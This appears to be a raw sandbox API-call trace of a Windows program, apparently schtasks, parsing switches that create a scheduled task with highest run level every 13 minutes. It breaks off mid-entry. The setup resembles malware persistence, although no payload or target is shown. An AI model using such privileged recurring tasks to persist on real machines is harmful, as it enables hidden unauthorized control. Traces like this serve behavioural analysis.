[0136.756] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rl|") returned 4 [0136.756] lstrlenW (lpString="|rl|") returned 4 [0136.756] lstrlenW (lpString="|rl|") returned 4 [0136.756] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0136.756] SetLastError (dwErrCode=0x0) [0136.756] SetLastError (dwErrCode=0x0) [0136.756] lstrlenW (lpString="HIGHEST") returned 7 [0136.756] lstrlenW (lpString="-/") returned 2 [0136.756] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0136.756] SetLastError (dwErrCode=0x490) [0136.756] SetLastError (dwErrCode=0x490) [0136.756] SetLastError (dwErrCode=0x0) [0136.756] lstrlenW (lpString="HIGHEST") returned 7 [0136.756] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0136.756] SetLastError (dwErrCode=0x490) [0136.756] SetLastError (dwErrCode=0x0) [0136.756] _memicmp (_Buf1=0x45d4c0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.756] lstrlenW (lpString="HIGHEST") returned 7 [0136.756] lstrlenW (lpString="HIGHEST") returned 7 [0136.756] lstrlenW (lpString=" \x09") returned 2 [0136.756] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0136.756] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0136.756] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0136.756] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0136.757] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0136.757] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0136.757] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0136.757] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0136.757] GetLastError () returned 0x0 [0136.757] lstrlenW (lpString="HIGHEST") returned 7 [0136.757] lstrlenW (lpString="HIGHEST") returned 7 [0136.757] SetLastError (dwErrCode=0x0) [0136.757] SetLastError (dwErrCode=0x0) [0136.757] lstrlenW (lpString="/f") returned 2 [0136.757] lstrlenW (lpString="-/") returned 2 [0136.757] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0136.757] lstrlenW (lpString="create") returned 6 [0136.757] lstrlenW (lpString="create") returned 6 [0136.757] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.757] lstrlenW (lpString="f") returned 1 [0136.757] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.757] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|create|") returned 8 [0136.757] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|f|") returned 3 [0136.757] lstrlenW (lpString="|create|") returned 8 [0136.757] lstrlenW (lpString="|f|") returned 3 [0136.757] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0136.757] SetLastError (dwErrCode=0x490) [0136.758] lstrlenW (lpString="?") returned 1 [0136.758] lstrlenW (lpString="?") returned 1 [0136.758] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.758] lstrlenW (lpString="f") returned 1 [0136.758] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.758] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|?|") returned 3 [0136.758] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|f|") returned 3 [0136.758] lstrlenW (lpString="|?|") returned 3 [0136.758] lstrlenW (lpString="|f|") returned 3 [0136.758] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0136.758] SetLastError (dwErrCode=0x490) [0136.758] lstrlenW (lpString="s") returned 1 [0136.758] lstrlenW (lpString="s") returned 1 [0136.758] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.758] lstrlenW (lpString="f") returned 1 [0136.758] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.758] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|s|") returned 3 [0136.758] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|f|") returned 3 [0136.758] lstrlenW (lpString="|s|") returned 3 [0136.758] lstrlenW (lpString="|f|") returned 3 [0136.758] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0136.758] SetLastError (dwErrCode=0x490) [0136.758] lstrlenW (lpString="u") returned 1 [0136.758] lstrlenW (lpString="u") returned 1 [0136.758] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.758] lstrlenW (lpString="f") returned 1 [0136.758] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.758] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|u|") returned 3 [0136.758] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|f|") returned 3 [0136.759] lstrlenW (lpString="|u|") returned 3 [0136.759] lstrlenW (lpString="|f|") returned 3 [0136.759] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0136.759] SetLastError (dwErrCode=0x490) [0136.759] lstrlenW (lpString="p") returned 1 [0136.759] lstrlenW (lpString="p") returned 1 [0136.759] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.759] lstrlenW (lpString="f") returned 1 [0136.759] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.759] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|p|") returned 3 [0136.759] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|f|") returned 3 [0136.759] lstrlenW (lpString="|p|") returned 3 [0136.759] lstrlenW (lpString="|f|") returned 3 [0136.759] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0136.759] SetLastError (dwErrCode=0x490) [0136.759] lstrlenW (lpString="ru") returned 2 [0136.759] lstrlenW (lpString="ru") returned 2 [0136.759] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.759] lstrlenW (lpString="f") returned 1 [0136.759] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.759] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|ru|") returned 4 [0136.759] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|f|") returned 3 [0136.759] lstrlenW (lpString="|ru|") returned 4 [0136.759] lstrlenW (lpString="|f|") returned 3 [0136.759] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0136.759] SetLastError (dwErrCode=0x490) [0136.759] lstrlenW (lpString="rp") returned 2 [0136.759] lstrlenW (lpString="rp") returned 2 [0136.759] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.759] lstrlenW (lpString="f") returned 1 [0136.759] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.760] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rp|") returned 4 [0136.760] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|f|") returned 3 [0136.760] lstrlenW (lpString="|rp|") returned 4 [0136.760] lstrlenW (lpString="|f|") returned 3 [0136.760] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0136.760] SetLastError (dwErrCode=0x490) [0136.760] lstrlenW (lpString="sc") returned 2 [0136.760] lstrlenW (lpString="sc") returned 2 [0136.760] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.760] lstrlenW (lpString="f") returned 1 [0136.760] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.760] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|sc|") returned 4 [0136.760] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|f|") returned 3 [0136.760] lstrlenW (lpString="|sc|") returned 4 [0136.760] lstrlenW (lpString="|f|") returned 3 [0136.760] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0136.760] SetLastError (dwErrCode=0x490) [0136.760] lstrlenW (lpString="mo") returned 2 [0136.760] lstrlenW (lpString="mo") returned 2 [0136.760] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.760] lstrlenW (lpString="f") returned 1 [0136.760] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.760] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|mo|") returned 4 [0136.760] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|f|") returned 3 [0136.760] lstrlenW (lpString="|mo|") returned 4 [0136.760] lstrlenW (lpString="|f|") returned 3 [0136.760] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0136.760] SetLastError (dwErrCode=0x490) [0136.760] lstrlenW (lpString="d") returned 1 [0136.760] lstrlenW (lpString="d") returned 1 [0136.761] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.761] lstrlenW (lpString="f") returned 1 [0136.761] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.761] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|d|") returned 3 [0136.761] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|f|") returned 3 [0136.761] lstrlenW (lpString="|d|") returned 3 [0136.761] lstrlenW (lpString="|f|") returned 3 [0136.761] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0136.761] SetLastError (dwErrCode=0x490) [0136.761] lstrlenW (lpString="m") returned 1 [0136.761] lstrlenW (lpString="m") returned 1 [0136.761] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.761] lstrlenW (lpString="f") returned 1 [0136.761] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.761] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|m|") returned 3 [0136.761] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|f|") returned 3 [0136.761] lstrlenW (lpString="|m|") returned 3 [0136.761] lstrlenW (lpString="|f|") returned 3 [0136.761] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0136.761] SetLastError (dwErrCode=0x490) [0136.761] lstrlenW (lpString="i") returned 1 [0136.761] lstrlenW (lpString="i") returned 1 [0136.761] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.761] lstrlenW (lpString="f") returned 1 [0136.761] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.761] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|i|") returned 3 [0136.761] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|f|") returned 3 [0136.761] lstrlenW (lpString="|i|") returned 3 [0136.761] lstrlenW (lpString="|f|") returned 3 [0136.762] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0136.762] SetLastError (dwErrCode=0x490) [0136.762] lstrlenW (lpString="tn") returned 2 [0136.762] lstrlenW (lpString="tn") returned 2 [0136.762] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.762] lstrlenW (lpString="f") returned 1 [0136.762] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.762] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tn|") returned 4 [0136.762] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|f|") returned 3 [0136.762] lstrlenW (lpString="|tn|") returned 4 [0136.762] lstrlenW (lpString="|f|") returned 3 [0136.762] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0136.762] SetLastError (dwErrCode=0x490) [0136.762] lstrlenW (lpString="tr") returned 2 [0136.762] lstrlenW (lpString="tr") returned 2 [0136.762] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.762] lstrlenW (lpString="f") returned 1 [0136.762] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.762] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tr|") returned 4 [0136.762] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|f|") returned 3 [0136.762] lstrlenW (lpString="|tr|") returned 4 [0136.762] lstrlenW (lpString="|f|") returned 3 [0136.762] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0136.762] SetLastError (dwErrCode=0x490) [0136.762] lstrlenW (lpString="st") returned 2 [0136.762] lstrlenW (lpString="st") returned 2 [0136.762] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.762] lstrlenW (lpString="f") returned 1 [0136.762] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.762] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|st|") returned 4 [0136.763] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|f|") returned 3 [0136.763] lstrlenW (lpString="|st|") returned 4 [0136.763] lstrlenW (lpString="|f|") returned 3 [0136.763] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0136.763] SetLastError (dwErrCode=0x490) [0136.763] lstrlenW (lpString="sd") returned 2 [0136.763] lstrlenW (lpString="sd") returned 2 [0136.763] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.763] lstrlenW (lpString="f") returned 1 [0136.763] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.763] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|sd|") returned 4 [0136.763] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|f|") returned 3 [0136.763] lstrlenW (lpString="|sd|") returned 4 [0136.763] lstrlenW (lpString="|f|") returned 3 [0136.763] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0136.763] SetLastError (dwErrCode=0x490) [0136.763] lstrlenW (lpString="ed") returned 2 [0136.763] lstrlenW (lpString="ed") returned 2 [0136.763] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.763] lstrlenW (lpString="f") returned 1 [0136.763] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.763] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|ed|") returned 4 [0136.763] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|f|") returned 3 [0136.763] lstrlenW (lpString="|ed|") returned 4 [0136.763] lstrlenW (lpString="|f|") returned 3 [0136.763] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0136.763] SetLastError (dwErrCode=0x490) [0136.763] lstrlenW (lpString="it") returned 2 [0136.763] lstrlenW (lpString="it") returned 2 [0136.763] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.763] lstrlenW (lpString="f") returned 1 [0136.764] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.764] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|it|") returned 4 [0136.764] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|f|") returned 3 [0136.764] lstrlenW (lpString="|it|") returned 4 [0136.764] lstrlenW (lpString="|f|") returned 3 [0136.764] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0136.764] SetLastError (dwErrCode=0x490) [0136.764] lstrlenW (lpString="et") returned 2 [0136.764] lstrlenW (lpString="et") returned 2 [0136.764] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.764] lstrlenW (lpString="f") returned 1 [0136.764] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.764] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|et|") returned 4 [0136.764] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|f|") returned 3 [0136.764] lstrlenW (lpString="|et|") returned 4 [0136.764] lstrlenW (lpString="|f|") returned 3 [0136.764] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0136.764] SetLastError (dwErrCode=0x490) [0136.764] lstrlenW (lpString="k") returned 1 [0136.764] lstrlenW (lpString="k") returned 1 [0136.764] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.764] lstrlenW (lpString="f") returned 1 [0136.764] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.764] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|k|") returned 3 [0136.764] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|f|") returned 3 [0136.764] lstrlenW (lpString="|k|") returned 3 [0136.764] lstrlenW (lpString="|f|") returned 3 [0136.764] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0136.764] SetLastError (dwErrCode=0x490) [0136.764] lstrlenW (lpString="du") returned 2 [0136.765] lstrlenW (lpString="du") returned 2 [0136.765] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.765] lstrlenW (lpString="f") returned 1 [0136.765] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.765] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|du|") returned 4 [0136.765] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|f|") returned 3 [0136.765] lstrlenW (lpString="|du|") returned 4 [0136.765] lstrlenW (lpString="|f|") returned 3 [0136.765] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0136.765] SetLastError (dwErrCode=0x490) [0136.765] lstrlenW (lpString="ri") returned 2 [0136.765] lstrlenW (lpString="ri") returned 2 [0136.765] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.765] lstrlenW (lpString="f") returned 1 [0136.765] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.765] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|ri|") returned 4 [0136.765] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|f|") returned 3 [0136.765] lstrlenW (lpString="|ri|") returned 4 [0136.765] lstrlenW (lpString="|f|") returned 3 [0136.765] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0136.765] SetLastError (dwErrCode=0x490) [0136.765] lstrlenW (lpString="z") returned 1 [0136.765] lstrlenW (lpString="z") returned 1 [0136.765] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.765] lstrlenW (lpString="f") returned 1 [0136.765] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.765] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|z|") returned 3 [0136.765] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|f|") returned 3 [0136.765] lstrlenW (lpString="|z|") returned 3 [0136.766] lstrlenW (lpString="|f|") returned 3 [0136.766] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0136.766] SetLastError (dwErrCode=0x490) [0136.766] lstrlenW (lpString="f") returned 1 [0136.766] lstrlenW (lpString="f") returned 1 [0136.766] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.766] lstrlenW (lpString="f") returned 1 [0136.766] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.766] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|f|") returned 3 [0136.766] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|f|") returned 3 [0136.766] lstrlenW (lpString="|f|") returned 3 [0136.766] lstrlenW (lpString="|f|") returned 3 [0136.766] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0136.766] SetLastError (dwErrCode=0x0) [0136.766] SetLastError (dwErrCode=0x0) [0136.766] GetProcessHeap () returned 0x440000 [0136.766] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cd50 [0136.766] _memicmp (_Buf1=0x45ba90, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.766] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x45d280, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0136.766] lstrlenW (lpString="LIMITED") returned 7 [0136.766] GetProcessHeap () returned 0x440000 [0136.766] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x10) returned 0x45d580 [0136.766] GetThreadLocale () returned 0x409 [0136.766] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0136.766] GetProcessHeap () returned 0x440000 [0136.766] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cd20 [0136.766] _memicmp (_Buf1=0x45ba90, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.766] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x45d280, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0136.766] lstrlenW (lpString="HIGHEST") returned 7 [0136.766] GetProcessHeap () returned 0x440000 [0136.767] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x10) returned 0x45d5a0 [0136.767] GetThreadLocale () returned 0x409 [0136.767] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0136.767] GetProcessHeap () returned 0x440000 [0136.767] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45ccf0 [0136.767] _memicmp (_Buf1=0x45ba90, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.767] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x45d280, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0136.767] lstrlenW (lpString="MINUTE") returned 6 [0136.767] GetProcessHeap () returned 0x440000 [0136.767] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0xe) returned 0x45d5c0 [0136.767] GetThreadLocale () returned 0x409 [0136.767] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0136.767] SetLastError (dwErrCode=0x0) [0136.767] GetProcessHeap () returned 0x440000 [0136.767] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x1fc) returned 0x45c250 [0136.767] GetProcessHeap () returned 0x440000 [0136.767] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45ccc0 [0136.767] _memicmp (_Buf1=0x45ba90, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.767] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x45d280, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0136.767] lstrlenW (lpString="First") returned 5 [0136.767] GetProcessHeap () returned 0x440000 [0136.767] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0xc) returned 0x45d5e0 [0136.767] GetProcessHeap () returned 0x440000 [0136.767] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cc90 [0136.767] _memicmp (_Buf1=0x45ba90, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.767] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x45d280, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0136.768] lstrlenW (lpString="Second") returned 6 [0136.768] GetProcessHeap () returned 0x440000 [0136.768] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0xe) returned 0x45d600 [0136.768] GetProcessHeap () returned 0x440000 [0136.768] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cc60 [0136.768] _memicmp (_Buf1=0x45ba90, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.768] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x45d280, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0136.768] lstrlenW (lpString="Third") returned 5 [0136.768] GetProcessHeap () returned 0x440000 [0136.768] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0xc) returned 0x45d620 [0136.768] GetProcessHeap () returned 0x440000 [0136.768] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cc30 [0136.768] _memicmp (_Buf1=0x45ba90, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.768] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x45d280, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0136.768] lstrlenW (lpString="Fourth") returned 6 [0136.768] GetProcessHeap () returned 0x440000 [0136.768] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0xe) returned 0x45d640 [0136.768] _memicmp (_Buf1=0x45ba90, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.768] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x45d280, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0136.768] lstrlenW (lpString="Last") returned 4 [0136.768] GetProcessHeap () returned 0x440000 [0136.768] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0xa) returned 0x45d660 [0136.768] lstrlenW (lpString="13") returned 2 [0136.768] _wtol (_String="13") returned 13 [0136.768] _memicmp (_Buf1=0x45ba90, _Buf2=0xffeb1b08, _Size=0x7) returned 